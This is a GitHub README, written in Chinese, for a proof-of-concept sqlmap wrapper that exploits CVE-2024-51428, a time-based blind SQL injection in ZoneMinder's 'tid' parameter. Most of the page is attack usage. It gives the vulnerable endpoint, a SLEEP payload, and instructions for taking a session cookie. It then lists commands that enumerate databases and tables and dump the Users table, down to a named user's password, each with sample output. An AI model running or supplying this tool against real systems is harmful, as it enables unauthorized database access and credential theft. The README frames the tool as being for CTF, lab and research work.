D1se0/CVE-2024-51428-PoC

GitHub: D1se0/CVE-2024-51428-PoC

针对ZoneMinder CVE-2024-51428盲注漏洞的sqlmap封装工具,自动化数据库枚举与数据提取并输出简洁结果。

Stars: 1 | Forks: 0

# CVE-2024-51428 - ZoneMinder Blind SQL 注入 PoC 针对 **ZoneMinder** 中 **CVE-2024-51428** 漏洞设计的 **sqlmap** Python 封装工具。 该工具可自动化检测和利用 **Blind SQL 注入** 漏洞,同时保持输出简洁并聚焦于有价值的数据。 脚本会隐藏 sqlmap 日志,仅显示相关信息,例如: - 检测到的注入点 - 数据库名称 - 表 - 导出的凭据或敏感数据 这使其非常适合 **CTF 环境、演示和安全测试**。 ## 漏洞概述 **CVE:** CVE-2024-51428 **类型:** Blind SQL 注入 **受影响软件:** ZoneMinder **攻击向量:** HTTP GET 参数 **参数:** `tid` 该漏洞存在于以下端点: ``` /zm/index.php?view=request&request=event&action=removetag&tid= ``` `tid` 参数在被用于数据库查询之前未经过适当的过滤,允许攻击者注入 SQL 查询。 所使用的利用技术是 **基于时间的 Blind SQL 注入**。 sqlmap 发现的示例 payload: ``` tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD) ``` 如果查询成功执行,此 payload 会强制数据库休眠,从而确认 SQL 注入的存在。 ## 功能特性 - 自动 **Blind SQL 注入检测** - 数据库枚举 - 表枚举 - 表数据导出 - 列过滤 - 行过滤 - 清晰的输出(隐藏 sqlmap 日志) - 专为 **CTF 和渗透测试实验室** 设计 ## 环境要求 - Python 3 - sqlmap 如需安装 sqlmap: ``` sudo apt install sqlmap ``` ## 用法 基本语法: ``` python3 poc.py --url -c '' ``` 示例: ``` python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22' ``` ## 获取所需的 Cookie 该漏洞利用需要有效的 ZoneMinder 会话 cookie。 步骤: 1. 在浏览器中打开目标 2. 打开开发者工具 3. 导航至: ``` Application → Cookies ``` 4. 找到名为以下内容的 cookie: ``` ZMSESSID ``` 5. 复制其值并与 `-c` 一起使用 示例: ``` -c '151fvdqmjkhnkfat7l5epgmd22' ``` ## 检查目标是否存在漏洞 ``` python3 poc.py --url http://target.htb -c 'COOKIE' ``` 示例输出: ``` [*] Checking vulnerability... Parameter: tid (GET) Type: time-based blind Payload: tid=1 AND (SELECT(SLEEP(5))) [+] TARGET IS VULNERABLE TO BLIND SQL INJECTION ``` ## 枚举数据库 ``` python3 poc.py --url http://target.htb -c 'COOKIE' -d ``` 示例输出: ``` available databases [3]: information_schema mysql zm ``` ## 枚举表 ``` python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm ``` 示例输出: ``` Database: zm Users Events Monitors Storage ``` ## 导出表 ``` python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users ``` ## 导出特定列 ``` python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username ``` 示例: ``` +----------+ | Username | +----------+ | admin | | viewer | +----------+ ``` ## 过滤行(WHERE 子句) 您可以使用以下方式过滤行: ``` -ff ``` 示例: ``` python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark ``` 等效 SQL: ``` WHERE Username='mark' ``` ## 导出特定用户的密码 示例: ``` python3 poc.py \ --url http://target.htb \ -c 'COOKIE' \ -d -db zm -t Users \ -f Password \ -ff Username mark ``` 内部 sqlmap 命令: ``` sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump ``` ## 工具工作原理 该脚本充当 sqlmap 的封装器。 内部执行的步骤: 1. 构建易受攻击的端点 ``` /zm/index.php?view=request&request=event&action=removetag&tid=1 ``` 2. 将认证 cookie 传递给 sqlmap 3. 使用优化选项执行 sqlmap: ``` --threads=10 --technique=T --batch ``` 4. 实时解析 sqlmap 输出 5. 过滤掉日志并仅显示: - 注入信息 - 数据库 - 表 - 导出的数据 ## 预期用途 创建此工具的目的: - 夺旗赛 (CTF) 挑战 - 安全研究 - 教学目的 - 渗透测试实验室 ## 免责声明 本项目仅用于教育和授权安全测试目的。 作者不对本工具的任何滥用行为负责。 在测试任何系统之前,请务必获得适当的授权。 ## 作者 安全研究 / CTF 工具开发
标签:CISA项目, CVE-2024-51428, Maven, PoC, Python, sqlmap, ZoneMinder, 数据提取, 无后门, 时间盲注, 暴力破解, 漏洞验证, 演示模式, 盲注, 网络安全, 自动化攻击, 隐私保护